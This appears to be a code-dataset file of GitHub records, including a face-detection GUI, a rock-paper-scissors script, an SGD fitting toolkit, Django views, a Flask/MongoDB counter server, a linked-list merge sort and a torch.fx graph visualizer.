os.path.join(person_path, 'frame_' + str(frame_num) + '_' + name)\n\n y1,x2,y2,x1 = faceLoc\n # y1, x2, y2, x1 = y1*4,x2*4,y2*4,x1*4\n cv2.rectangle(frame,(x1,y1),(x2,y2),(0,255,0),1)\n cv2.rectangle(frame,(x1-30,y2+20),(x2+30,y2),(0,255,0),cv2.FILLED)\n cv2.putText(frame, name, (x1-28,y2+18), cv2.FONT_HERSHEY_COMPLEX,0.7,(255,255,255),2)\n\n cv2.imwrite(final_path + '.jpg', frame)\n\n\n fps = 1.0 / (time.time() - start_time)\n # print(\"FPS: %.2f\" % fps)\n result = np.asarray(image)\n cv2.namedWindow(\"result\", cv2.WINDOW_AUTOSIZE)\n result = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n \n if not FLAGS.dont_show:\n cv2.imshow(\"result\", result)\n \n if FLAGS.output:\n out.write(result)\n\n if cv2.waitKey(1) & 0xFF == ord('q'): break\n\n\n # dataset = tk.Label(root_v, text=\"Display Images in Database\", font=('calibre',12,'bold'))\n # dataset.place(x=140, y=300)\n \n # s_file1 = './People/' + path0 + '.jpg'\n # img1 = Image.open(s_file1)\n # img1 = img1.resize((80, 80), Image.ANTIALIAS)\n # img1 = ImageTk.PhotoImage(img1)\n # panel1 = tk.Label(root_v, image=img1)\n # panel1.place(x=20, y=340)\n\n # d_result = tk.Label(root_v, text=\"Detection Result\", font=('calibre',13,'bold'))\n # d_result.place(x=20, y=450)\n\n\n d_result = tk.Label(root_v, text=\"Detection Result\", font=('calibre',13,'bold'))\n d_result.place(x=20, y=370)\n\n if person_count != 0:\n print('\\n\\n--- Result: Positive! ', name, 'is present in the video. ---\\n')\n\n got_frames = \"./detections/person_\" + yy + \"/\"\n\n print('The captured frames are:')\n for f in os.listdir(got_frames):\n fr_name = f.split('.')[0]\n print(fr_name)\n print()\n\n valid_result = tk.Label(root_v, text=\"Result: Positive! \" + name + \" is present in the video!!\", font=('calibre',11,'bold'), bg='green')\n valid_result.place(x=20, y=420)\n messagebox.showinfo(\"Success: Person Detected!\",\n \"Target person is present in the video!!\")\n valid_result.destroy()\n\n else:\n print('\\n\\n--- Result: Negative! ', name, 'is not present in the video. ---\\n\\n')\n\n fail_result = tk.Label(root_v, text=\"Result: Negative! \" + name + \" is not present in the video!!\", font=('calibre',11,'bold'), bg='red')\n fail_result.place(x=20, y=420)\n messagebox.showerror(\"Failure: Person Not Detected.\",\n \"Target person is not present in the video!!\")\n fail_result.destroy()\n\n cv2.destroyAllWindows()\n\n pending.destroy()\n d_result.destroy()\n\n\n if __name__ == '__main__':\n try:\n app.run(main)\n except SystemExit:\n pass\n\n\n return True\n\n\n def gui_destroy():\n root_v.destroy()\n\n\n\n self.uname_label = tk.Label(root_v, text=\"In-video Person Detection\", font=('calibre',14,'bold'), bg='medium aquamarine')\n self.uname_label.place(x=140, y=25)\n\n # creating a label for name using widget Label\n self.name_label = tk.Label(root_v, text = 'Username:', font=('calibre',10,'bold'))\n self.name_label.place(x=60, y=90)\n\n # creating an entry for input name using widget Entry\n self.name_entry = tk.Entry(root_v, bd=3, font=('calibre',10,'normal'))\n self.name_entry.place(x=170, y=90)\n\n # creating a button using the widget button that will check the available data\n self.sub_btn = tk.Button(root_v, text = 'Check Data', font=('calibre',10,'normal'), command = check_data)\n self.sub_btn.place(x=340, y=85)\n\n\n # Upload\n self.img_message = tk.Label(root_v, text=\"Input Video:\", font=('calibre',10,'bold'))\n self.img_message.place(x=60, y=140)\n # Image Submit\n self.image_path_entry1 = tk.Entry(root_v, bd=3, font=('calibre',10,'normal'))\n self.image_path_entry1.place(x=170, y=140)\n # Browse Button\n self.img_browse_button = tk.Button(\n root_v, text=\"Browse\", font=('calibre',10,'normal'), command=lambda: browsefunc(ent=self.image_path_entry1))\n self.img_browse_button.place(x=340, y=135)\n\n\n\n # Verify Button\n self.verify_button = tk.Button(\n root_v, text=\"Verify\", font=('calibre',12,'bold'), bg='gold2', command=lambda: checkSimilarity(window=root_v, path0=self.name_entry.get(), path1=self.image_path_entry1.get(),), width=8)\n self.verify_button.place(x=198, y=190)\n\n\n # Exit Button\n self.go_exit = tk.Button(\n root_v, text=\"Exit\", bg='tomato', font=('calibre',12,'bold'), command=lambda: gui_destroy(), width=5)\n self.go_exit.place(x=215, y=240)\n\n\n # performing an infinite loop for the window to display\n root_v.mainloop()\n\n\n\nroot = tk.Tk()\nroot.configure(bg='wheat1')\nroot.geometry(\"500x300+50+50\")\n\napp_g = Application(master=root)\napp_g.master.title(\"Person Detection & Identification System\")\napp_g.mainloop()\n","repo_name":"MZayed47/Specific-Person-Detector","sub_path":"detector_gui.py","file_name":"detector_gui.py","file_ext":"py","file_size_in_byte":31571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40161538009","text":"#Rock, Paper, Scissors- Compare User Choice and Computer Choice with one another and show user results\n#When I put it in the base component the 'xxx' end game would not work\n\nrps_list = [\"rock\", \"paper\", \"scissors\"]\ncomputer_index = 0\nfor item in rps_list:\n user_index = 0\n for item in rps_list:\n user_choice = rps_list[user_index]\n computer_choice = rps_list[computer_index]\n user_index += 1\n\n #Compare options\n\n if user_choice == \"rock\":\n\n if computer_choice == \"rock\":\n result = \"It is a draw\"\n\n elif computer_choice == \"paper\":\n result = \"You lost\"\n\n else:\n result = \"You Won\"\n\n elif user_choice == \"paper\":\n\n if computer_choice == \"rock\":\n result = \"You Won\"\n\n elif computer_choice == \"paper\":\n result = \"It is a draw\"\n\n else:\n result = \"You lost (Better luck next time)\"\n\n else:\n\n if computer_choice == \"rock\":\n result = \"You lost (Better luck next time)\"\n\n elif computer_choice == \"paper\":\n result = \"You Won\"\n\n else:\n result = \"It is a draw\"\n\n\n print(\"You chose {} the computer chose {}. \\nResult: {}. \".format(user_choice, computer_choice, result))\n\n\n computer_index += 1\n print()\n\n","repo_name":"KarlYapBuller/02-Rock-Paper-Scissors-game-Ncea-Level-1-Programming","sub_path":"06_RPS_User_Computer_Choice_Compare_v1.py","file_name":"06_RPS_User_Computer_Choice_Compare_v1.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74077860427","text":"from requests import Response\n\n\nclass LexofficeException(Exception):\n msg: str\n\n def __init__(self, response: Response, message: str):\n super().__init__(message)\n status_code = response.status_code\n body = response.json()\n self.msg = f\"status={status_code}, msg={body['message']}\"\n print(self.msg)\n\n def msg(self):\n return self.msg","repo_name":"maikerlab/lexoffice_api","sub_path":"src/lexoffice/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36566985248","text":"\"\"\"Contains the tools needed to get weights for the model\nusing the L-BFGS optimization algorithm.\"\"\"\nimport numpy as np\ntry:\n import cupy as cp\nexcept:\n pass\n\nclass sgdModelFit:\n \"\"\"This class contains all the tools needed to fit a model\n whose hyperparameters have already been tuned using implicit\n SGD. This will be slower than preconditioned CG if the\n preconditioner is good (low ratio), but can outperform\n preconditioned CG with a high-ratio preconditioner.\n\n Attributes:\n lambda_ (float): The noise hyperparameter shared across all kernels.\n verbose (bool): If True, print regular updates.\n device_ (str): One of 'cpu', 'gpu'. Indicates where calculations\n will be performed.\n n_epoch (int): The number of epochs.\n n_iter (int): The number of datapoints traversed in current epoch.\n \"\"\"\n\n def __init__(self, lambda_, device, verbose):\n \"\"\"Class constructor.\n\n Args:\n lambda_ (float): The noise hyperparameter shared across all kernels.\n device (str): One of 'cpu', 'gpu'. Indicates where calculations\n will be performed.\n verbose (bool): If True, print regular updates.\n \"\"\"\n self.lambda_ = lambda_\n self.verbose = verbose\n self.device = device\n self.n_iter = 0\n self.n_epoch = 0\n self.n_iter = 0\n self.mbatch_size = 250\n if self.device == \"cpu\":\n self.empty = np.empty\n self.zeros = np.zeros\n else:\n self.empty = cp.empty\n self.zeros = cp.zeros\n\n\n def fit_model(self, dataset, kernel, tol = 1e-6, max_epochs = 40,\n preconditioner = None, manual_lr = None):\n \"\"\"Finds an optimal set of weights using the information already\n provided to the class constructor.\n\n Args:\n dataset: An OnlineDataset or OfflineDatset containing all the\n training data.\n kernel: A kernel object that can generate random features for\n the Dataset.\n tol (float): The threshold for convergence.\n max_epochs (int): The number of epochs. Used to set the learning\n rate schedule.\n random_state (int): A seed for the random number generator.\n manual_lr (float): Either None or a float. If not None, this\n is a user-specified initial learning rate. If None, find\n a good initial learning rate using autotuning.\n mbatch_lr_check (int): The number of minibatches after which\n to check that the loss is not diverging (and reset the\n learning rate if it is).\n\n Returns:\n wvec: A cupy or numpy array depending on device that contains the\n best set of weights found. A 1d array of length self.kernel.get_num_rffs().\n \"\"\"\n losses = []\n\n #Key sgd hyperparameters.\n likely_lr = [3**i * 1e-9 for i in range(25)]\n if self.device == \"cpu\":\n likely_lr = np.asarray(likely_lr)\n else:\n likely_lr = cp.asarray(likely_lr)\n\n\n full_grad, wvec, z_trans_y, zty_norm = self.initialize(dataset, kernel)\n\n current_grad, last_wvec = full_grad.copy(), wvec.copy()\n sg_last_grad, sg_current_grad = self.zeros((kernel.get_num_rffs())), \\\n self.zeros((kernel.get_num_rffs()))\n if manual_lr is not None:\n step_size = manual_lr\n else:\n step_size = self.autotune(dataset, kernel, full_grad, wvec,\n last_wvec, preconditioner, z_trans_y, likely_lr)\n\n\n for self.n_epoch in range(max_epochs):\n end_epoch = False\n while not end_epoch:\n xbatch, _, end_epoch = dataset.get_next_minibatch(self.mbatch_size)\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n sg_current_grad[:] = xbatch.T @ (xbatch @ wvec) + self.lambda_**2 * wvec\n sg_last_grad[:] = xbatch.T @ (xbatch @ last_wvec) + self.lambda_**2 * last_wvec\n\n current_grad[:] = full_grad + (sg_current_grad - sg_last_grad)\n if preconditioner is not None:\n wvec -= step_size * preconditioner.batch_matvec(current_grad[:,None])[:,0]\n else:\n wvec -= step_size * current_grad / dataset.get_ndatapoints()\n\n\n dataset.reset_index()\n self.update_full_gradient(dataset, kernel, full_grad,\n wvec, z_trans_y)\n last_wvec[:] = wvec\n current_grad[:] = full_grad\n loss = full_grad / zty_norm\n loss = np.sqrt(float( loss.T @ loss ) )\n losses.append(loss)\n if len(losses) > 2:\n if losses[-1] - losses[-2] > 0:\n print(\"Reducing learning rate by 50%\")\n step_size *= 0.5\n\n if losses[-1] < tol:\n break\n\n if self.verbose and self.n_epoch % 1 == 0:\n print(f\"Epoch {self.n_epoch} complete; loss {losses[-1]}\")\n #The number of epochs is 2 x self.n_epoch because we perform\n #a gradient \"snapshot\" for each actual epoch.\n return wvec.copy(), 2 * self.n_epoch + 1, losses\n\n\n\n def initialize(self, dataset, kernel):\n full_grad = self.zeros((kernel.get_num_rffs()))\n wvec = self.zeros((kernel.get_num_rffs()))\n z_trans_y = self.zeros((kernel.get_num_rffs()))\n zty_norm = 0.0\n\n for xdata, ydata in dataset.get_chunked_data():\n if not dataset.pretransformed:\n xdata = kernel.transform_x(xdata)\n z_trans_y += xdata.T @ ydata\n\n zty_norm = np.sqrt(float(z_trans_y.T @ z_trans_y))\n full_grad[:] = -z_trans_y\n return full_grad, wvec, z_trans_y, zty_norm\n\n\n def update_full_gradient(self, dataset, kernel, full_grad, wvec,\n z_trans_y):\n full_grad[:] = -z_trans_y + self.lambda_**2 * wvec\n for xdata in dataset.get_chunked_x_data():\n if not dataset.pretransformed:\n xdata = kernel.transform_x(xdata)\n full_grad += xdata.T @ (xdata @ wvec)\n\n\n def autotune(self, dataset, kernel, full_grad, wvec,\n last_wvec, precond, z_trans_y, likely_lr):\n \"\"\"Uses a simple heuristic to tune the learning rate over the first 10\n minibatches in an arbitrarily designated epoch. Maybe not the best\n possible way to do this, but seems to work...\"\"\"\n wvec_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n last_wvec_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n gradient_batch = self.empty((kernel.get_num_rffs(), likely_lr.shape[0]))\n losses = self.zeros((kernel.get_num_rffs(), likely_lr.shape[0]))\n wvec_batch[:] = wvec[:,None]\n last_wvec_batch[:] = last_wvec[:,None]\n\n #Recall that we check under \"fit\" that the dataset has at least\n #10 minibatches...Using more might lead to more accurate tuning\n #but would make tuning more expensive...it's a tradeoff.\n end_epoch = False\n while not end_epoch:\n gradient_batch[:] = full_grad[:,None]\n xbatch, _, end_epoch = dataset.get_next_minibatch(self.mbatch_size)\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n gradient_batch += xbatch.T @ (xbatch @ wvec_batch)\n gradient_batch -= xbatch.T @ (xbatch @ last_wvec_batch)\n gradient_batch += kernel.get_lambda()**2 * (wvec_batch - last_wvec_batch)\n\n if precond is not None:\n wvec_batch -= likely_lr * precond.batch_matvec(gradient_batch)\n else:\n wvec_batch -= likely_lr[None,:] * gradient_batch / dataset.get_ndatapoints()\n\n dataset.reset_index()\n\n losses[:] = -z_trans_y[:,None] + self.lambda_**2 * wvec_batch\n for xbatch in dataset.get_chunked_x_data():\n if not dataset.pretransformed:\n xbatch = kernel.transform_x(xbatch)\n losses += xbatch.T @ (xbatch @ wvec_batch)\n\n\n losses[np.isnan(losses)] = np.inf\n losses = (losses**2).sum(axis=0)\n best_idx = int(losses.argmin())\n return likely_lr[best_idx]\n","repo_name":"jlparkI/xGPR","sub_path":"xGPR/fitting_toolkit/sgd_fitting_toolkit.py","file_name":"sgd_fitting_toolkit.py","file_ext":"py","file_size_in_byte":8382,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"4814410858","text":"import datetime\nimport json\nimport time\n\nfrom django.http import HttpResponseNotFound\nfrom django.shortcuts import render\n\nfrom establishment.funnel.base_views import JSONErrorResponse, JSONResponse, global_renderer, single_page_app\nfrom establishment.funnel.utils import GlobalObjectCache\n\n\ndef render_ui_widget(request, widget_class, state=None, page_title=None, widget_require=None, widget_options={}):\n context = {}\n if state:\n context[\"state\"] = state.dumps()\n else:\n context[\"state\"] = \"{}\"\n\n if widget_class == \"MessagesPanel\":\n widget_class = \"DocFlowApp\"\n widget_require = \"Bundle\"\n\n # TODO: DEFAULT_PAGE_TITLE should be an option in settings\n context[\"page_title\"] = page_title or \"CS Academy\"\n context[\"widget_class\"] = widget_class\n context[\"widget_require\"] = widget_require or widget_class\n context[\"widget_options\"] = json.dumps(widget_options)\n\n return render(request, \"docmanager/base.html\", context)\n\n\ndef render_csa_app(request):\n return render_ui_widget(request, \"CSAApp\", state={}, widget_require=\"Bundle\")\n\n\n@single_page_app\ndef generic_error_response(request, title, message):\n return JSONResponse({\"title\": title, \"message\": message})\n\n\nglobal_renderer.render_ui_widget = render_ui_widget\nglobal_renderer.render_single_page_app = render_csa_app\nglobal_renderer.render_error_message = generic_error_response\n\n\n@single_page_app\ndef index(request):\n return render(request, \"docsmanager/base.html\", {})\n\n if not request.is_ajax():\n return render_ui_widget(request, \"CSAApp\", state={}, widget_require=\"Bundle\")\n\n # This should be shared with the blog\n state = GlobalObjectCache(user=request.user)\n\n blog_posts = BlogEntry.objects.filter(visible=True).prefetch_related(\"article\")\n blog_posts = blog_posts.order_by(\"-id\")[:5]\n\n for blog_post in blog_posts:\n state.add(blog_post)\n article = blog_post.article\n state.add(article)\n\n top_users = CSAUser.objects.all().order_by(\"global_rating_rank\")[:10]\n\n for user in top_users:\n state.add(PublicUserSummary(user))\n\n upcoming_contests = Contest.objects.filter(end_date__gt=datetime.datetime.now(), is_visible=True)\n state.add_all(upcoming_contests)\n contest_users = ContestUser.objects.filter(contest__in=upcoming_contests.filter(system_generated=True))\n state.add_all(contest_users)\n\n return JSONResponse({\"state\": state})\n\n\ndef about(request):\n return render_csa_app(request)\n\n\ndef policy(request):\n return render(request, \"docmanader/policy.html\", {})\n\n\ndef maintenance_mode(request):\n if request.is_ajax():\n return JSONErrorResponse(\"Website in maintenance mode!\")\n return render(request, \"docmanader/maintenance.html\", {})\n\n\ndef admin_chat(request):\n if not request.user.is_superuser:\n return HttpResponseNotFound()\n\n widget_options = {\n \"chatId\": 1,\n \"style\": {\n \"padding-left\": \"12%\",\n \"padding-right\": \"12%\",\n }\n }\n\n return render_ui_widget(request, \"DelayedChat\", widget_require=\"IndexAuthenticated\", widget_options=widget_options)\n\n\ndef server_time(request):\n return JSONResponse({\"time\": time.time()})\n\n","repo_name":"TechGovRo/DocumentFlow","sub_path":"docmanager/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42487710217","text":"import sys\n\n\ndef add_sys(arg_list):\n integer_list = [int(x) for x in arg_list]\n return sum(integer_list)\n\n\nif __name__ == \"__main__\":\n args = sys.argv\n result = add_sys(args[1:])\n print(\"addition is\", result)\n","repo_name":"devika-aigalikar/first-git-project","sub_path":"accept_cmd.py","file_name":"accept_cmd.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1046917825","text":"from plagiarism import plagiarism_check_minhash_permutations, plagiarism_check_minhash\nfrom shingling import shingle_files\nimport argparse\nimport time\n\ndef main():\n\n parser = argparse.ArgumentParser(description='Running MinHash for plagiarism detection')\n parser.add_argument('path_files', metavar='f', type=str,\n help='path to files to check plagiarism')\n parser.add_argument('k_shingle', metavar='k', type=int, help='number of k for shringling')\n parser.add_argument('num_permutations', metavar='n_perm', type=int, help='number of permutations for minhash')\n\n args = parser.parse_args()\n files_path = args.path_files\n k_arg = args.k_shingle\n num_permutations = args.num_permutations\n\n st = time.time()\n shingle_files(files_path, './shingles.pkl', k_arg)\n # plagiarism_check_minhash_permutations('./shingles.pkl', num_permutations)\n plagiarism_check_minhash('./shingles.pkl', num_hash=num_permutations)\n print(\"Done in \",time.time() - st, \" seconds\")\n\nif __name__ == '__main__':\n main()","repo_name":"marichka-dobko/Plagiarism_detection_texts","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20227341430","text":"'''\nserver.py\n\nSimple Flask server to allow connections with the MongoDB Atlas database.\n\nNOTE: In order for this server to work:\n - The database cluster must have a database named 'counters'\n - The 'counters' databas must have 2 documents:\n One with name: red\n One with name: blue\n Both of them need a count: field with an integer type\n - This file must be run from the same folder as a file 'config.ini' which needs:\n [Database]\n DB_URI = \n\nUSAGE: \n - Run this server somewhere\n - Connect to the server over http\n - Use one of the following requests to interact with the database:\n - /get-red, /get-blue (GET)\n Returns the MongoDB document for the red or blue counter\n - /set-red, /set-blue (PUT)\n Body: { redCount/blueCount: }\n Sets the 'count' field of the red or blue counter document in MongoDB\n - / (GET)\n Returns 'Hello World!' html to verify the Flask server is working\n\nIf you are having trouble connecting to this server when it is hosted on AWS, try seeing if you are\nconnecting to this server with http or https. You may have to connect only with http.\n\n@author Alex Wills\n@author PyMongo tutorial: https://www.mongodb.com/compatibility/setting-up-flask-with-mongodb\n@date April 4, 2023\n'''\nimport configparser # Reading the config file\nimport os\nfrom flask import Flask, current_app, g, request # Creating a flask server\nfrom flask_pymongo import PyMongo # Connecting to MongoDB\nfrom flask_cors import CORS, cross_origin # CORS connections\nfrom werkzeug.local import LocalProxy # Something from MongoDB tutorial\nimport certifi # Creating a network certificate\n\n\n# ------------ Setting up the Flask app ------------ #\n\n# Create a global flask app\napp = Flask(__name__)\nCORS(app)\n\n# Read config.ini\nconfig = configparser.ConfigParser()\nconfig.read(os.path.abspath(os.path.join(\"config.ini\")))\n\n# Configure flask app\napp.config[\"MONGO_URI\"] = config['Database']['DB_URI']\napp.config[\"DEBUG\"] = False\n\n# Create network certificate\ncertificate = certifi.where()\n\n\n# Configure the database (from MongoDB Tutorial: https://www.mongodb.com/compatibility/setting-up-flask-with-mongodb)\ndef get_db():\n \"\"\"\n Configuration method to return db instance\n \"\"\"\n db = getattr(g, \"_database\", None)\n\n if db is None:\n\n db = g._database = PyMongo(current_app, tlsCAFile=certificate).db\n \n return db\n\n# Use LocalProxy to read the global db instance with just `db`\ndb = LocalProxy(get_db)\n\n\n# ------------ Routing requests to the Flask app ------------ #\n\n@app.route(\"/\")\ndef home_page():\n '''\n Returns html for the home page of the server.\n '''\n return \"

Hello World!

\"\n\n\n@app.route(\"/get-red\")\n@cross_origin()\ndef get_red_counter():\n '''\n Accesses the red counter from the database.\n @return - the red counter document\n '''\n query = {'name': 'red'} # Query for PyMongo\n counter = db.counters.find_one(query, {\"_id\": False}) # Search with the query, removing the _id field\n return counter # Return the database entry\n\n@app.route(\"/get-blue\")\n@cross_origin()\ndef get_blue_counter():\n '''\n Accesses the blue counter from the database.\n @return - the blue counter document\n '''\n query = {'name': 'blue'} # Query for PyMongo\n counter = db.counters.find_one(query, {\"_id\": False}) # Search with the query, removing the _id field\n return counter # Return the database entry\n\n@app.put(\"/set-red\")\n@cross_origin()\ndef set_red_counter():\n '''\n Updates the red counter value in the database.\n Request should contain a body with a 'redCount' field that has\n the value to set the red counter to.\n '''\n\n # Get the PUT request body and access the 'redCount' field\n body = request.json\n redCount = body['redCount']\n\n # Update 1 document matching the query by setting the value of count\n query = {'name': 'red'}\n db.counters.update_one(query, {'$set': {'count': redCount}})\n\n # Return nothing\n return \"\"\n\n@app.put(\"/set-blue\")\n@cross_origin()\ndef set_blue_counter():\n '''\n Updates the blue counter value in the database.\n Request should contain a body with a 'blueCount' field that has\n the value to set the blue counter to.\n '''\n\n # Get the PUT request body and access the 'blueCount' field\n body = request.json\n blueCount = body['blueCount']\n\n # Update 1 document matching the query by setting the value of count\n query = {'name': 'blue'}\n db.counters.update_one(query, {'$set': {'count': blueCount}})\n\n # Return nothing\n return \"\"\n\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"AlexWills37/Fullstack-Tutorial-Code","sub_path":"backend-flask/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74252363469","text":"\"\"\"148. Sort List\n\nSort a linked list in O(n log n) time using constant space complexity.\n\nExample 1:\n\nInput: 4->2->1->3\nOutput: 1->2->3->4\n\nExample 2:\n\nInput: -1->5->3->4->0\nOutput: -1->0->3->4->5\n\"\"\"\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n # merge-sort\n # See LC 21 merge two lists\n \n # Nothing needs to be done for linked list with <= 1 nodes\n if not head or not head.next:\n return head\n \n # Use turtle-rabbit two pointers to find the mid-point\n turtle = head\n rabbit = head.next\n \n while rabbit.next:\n rabbit = rabbit.next\n turtle = turtle.next\n if rabbit.next:\n rabbit = rabbit.next\n \n # []------> ... ------> []--------->[]----------> ... -------->[]\n # head turtle turtle.next \n # <=========lower========> <===========upper===========> \n # ^\n # mid-point\n \n # step 1:\n # recurisvely sort `upper`:\n #\n # upper: []----------> ... -------->[]---->None\n \n # step 2:\n # disconnect `lower` from `upper`\n #\n # []------> ... ------> []--->None []----------> ... -------->[]\n # head turtle turtle.next \n # <=========lower========> <===========upper===========> \n \n # step 3:\n # recursively sort `lower`:\n #\n # lower: []------> ... ------> []--->None \n \n # step 4:\n # merged the two sorted list `lower` and `upper`\n \n upper = self.sortList(turtle.next) \n turtle.next = None\n lower = self.sortList(head)\n \n merged = self.mergeTwoLists(lower, upper)\n return merged\n \n def mergeTwoLists(self, l1, l2):\n if not l1:\n return l2\n elif not l2:\n return l1\n \n # `dummy.next` points to the start of a merged list (initially empty)\n #\n # `node` points the end of merged list (initially empty)\n \n \n # [] =======> [] =====> ... ====> [] ======> None\n # dummy node\n \n # [] ===> .... ===> [] ===> ... ===>[] ===> None\n # l1\n #\n # [] ===> .... ===> [] ===> ... ===>[] ===> None\n # l2 \n node = dummy = ListNode(0)\n \n while l1 and l2:\n # `l1` and `l2` points to the head of the two linked lists\n # We pick whichever is smaller, and step the corresponding pointer, `l1` or `l2`\n \n if l1.val < l2.val:\n node.next = l1\n l1 = l1.next\n else:\n node.next = l2\n l2 = l2.next\n \n # We always step `node` \n node = node.next\n \n if l1:\n node.next = l1\n if l2:\n node.next = l2\n \n return dummy.next \n","repo_name":"chao-ji/LeetCode","sub_path":"python/linked_list/lc148.py","file_name":"lc148.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42470768684","text":"from statsmodels.tsa.seasonal import seasonal_decompose\n\n\ndef seasonal_decomp(df,column,model=\"additive\"):\n sea_decomp_df = df.copy(deep=True)\n sea_decomp_df.index=sea_decomp_df.index.to_timestamp()\n\n s_dec_add = seasonal_decompose(sea_decomp_df[f'{column}'],model=model, period=1).plot()\n s_dec_add.set_size_inches(20, 8)\n return s_dec_add","repo_name":"obaidagh/crypto-analysis-forcasting","sub_path":"analysis/seasonal_decomp.py","file_name":"seasonal_decomp.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17153360160","text":"import traceback\nfrom typing import Any, NamedTuple, Optional\n\nimport graphviz\nimport torch\nimport torch.fx\n\n\nclass TensorMetadata(NamedTuple):\n # TensorMetadata is a structure containing pertinent information\n # about a tensor within a PyTorch program.\n\n # General Tensor metadata\n shape: torch.Size\n dtype: torch.dtype\n requires_grad: bool\n memory_format: Optional[torch.memory_format]\n\n def __repr__(self):\n return \"×\".join(map(str, self.shape))\n\n\ndef _extract_tensor_metadata(result: torch.Tensor) -> TensorMetadata:\n \"\"\"\n Extract a TensorMetadata NamedTuple describing `result`.\n \"\"\"\n shape = result.shape\n dtype = result.dtype\n requires_grad = result.requires_grad\n\n memory_formats = {\n torch.contiguous_format,\n torch.channels_last,\n torch.channels_last_3d,\n }\n\n memory_format = None\n\n for query_format in memory_formats:\n if result.is_contiguous(memory_format=query_format):\n memory_format = query_format\n break\n\n return TensorMetadata(shape, dtype, requires_grad, memory_format)\n\n\nclass ResultProbe(torch.fx.Interpreter):\n def run_node(self, n: torch.fx.Node) -> Any:\n try:\n result = super().run_node(n)\n except Exception:\n traceback.print_exc()\n raise RuntimeError(\n f\"ShapeProp error for: \"\n f\"node={n.format_node()} with \"\n f\"meta={n.meta}\"\n )\n find_tensor_in_result = False\n\n def extract_tensor_meta(obj):\n if isinstance(obj, torch.Tensor):\n nonlocal find_tensor_in_result\n find_tensor_in_result = True\n return _extract_tensor_metadata(obj)\n else:\n return obj\n\n n.meta[\"result\"] = torch.fx.node.map_aggregate(result, extract_tensor_meta)\n n.meta[\"find_tensor_in_result\"] = find_tensor_in_result\n return result\n\n\ndef html_table(*content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + \"\\n\".join(content) + \"
\"\n\n\ndef html_tr(*content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + \"\\n\".join(content) + \"\"\n\n\ndef html_td(content, **kwargs):\n kwargs_pairs = [f'{k}=\"{v}\"' for k, v in kwargs.items()]\n return f'' + str(content) + \"\"\n\n\ndef node_label_html(model, node):\n name = node._pretty_print_target(node.target)\n result = node.meta[\"result\"]\n\n cols = [[html_td(result)]]\n\n if node.op == \"call_module\":\n module = model.get_submodule(node.target)\n head = str(module)\n cols[0] = [html_td(name, rowspan=len(cols)), *cols[0]]\n elif node.op == \"call_method\":\n head = f\".{name}()\"\n elif node.op == \"get_attr\":\n head = f\".{name}\"\n elif node.op == \"call_function\":\n head = f\"{name}()\"\n else:\n head = name\n\n head_kwargs = dict(colspan=len(cols[0]))\n if not node.meta[\"find_tensor_in_result\"]:\n head_kwargs[\"bgcolor\"] = \"lightgray\"\n\n html = html_table(\n html_tr(html_td(head, **head_kwargs)),\n *[html_tr(*c) for c in cols],\n border=0,\n cellborder=1,\n cellspacing=0,\n )\n return f\"<{html}>\"\n\n\ndef single_node(model: torch.nn.Module, graph: graphviz.Digraph, node: torch.fx.Node):\n node_label = node_label_html(model, node)\n node_kwargs = dict(shape=\"plaintext\")\n graph.node(node.name, node_label, **node_kwargs)\n for in_node in node.all_input_nodes:\n edge_kwargs = dict()\n if (\n not node.meta[\"find_tensor_in_result\"]\n or not in_node.meta[\"find_tensor_in_result\"]\n ):\n edge_kwargs.update(dict(style=\"dashed\", color=\"lightgrey\"))\n graph.edge(in_node.name, node.name, **edge_kwargs)\n\n\ndef model_graph(model: torch.nn.Module, *args, **kwargs) -> graphviz.Digraph:\n symbolic_traced: torch.fx.GraphModule = torch.fx.symbolic_trace(model)\n ResultProbe(symbolic_traced).run(*args, **kwargs)\n symbolic_traced.graph.print_tabular()\n graph = graphviz.Digraph(\"model\", format=\"svg\", node_attr={\"shape\": \"plaintext\"})\n for node in symbolic_traced.graph.nodes:\n single_node(model, graph, node)\n return graph\n\n\ndef _test():\n torch.set_grad_enabled(False)\n import networks\n\n model = networks.DISCNet(cond_in_channels=3)\n graph = model_graph(model, torch.randn(1, 3, 512, 512), torch.randn(1, 3, 512, 512))\n graph.render(directory=\"test\", view=True)\n\n\nif __name__ == \"__main__\":\n 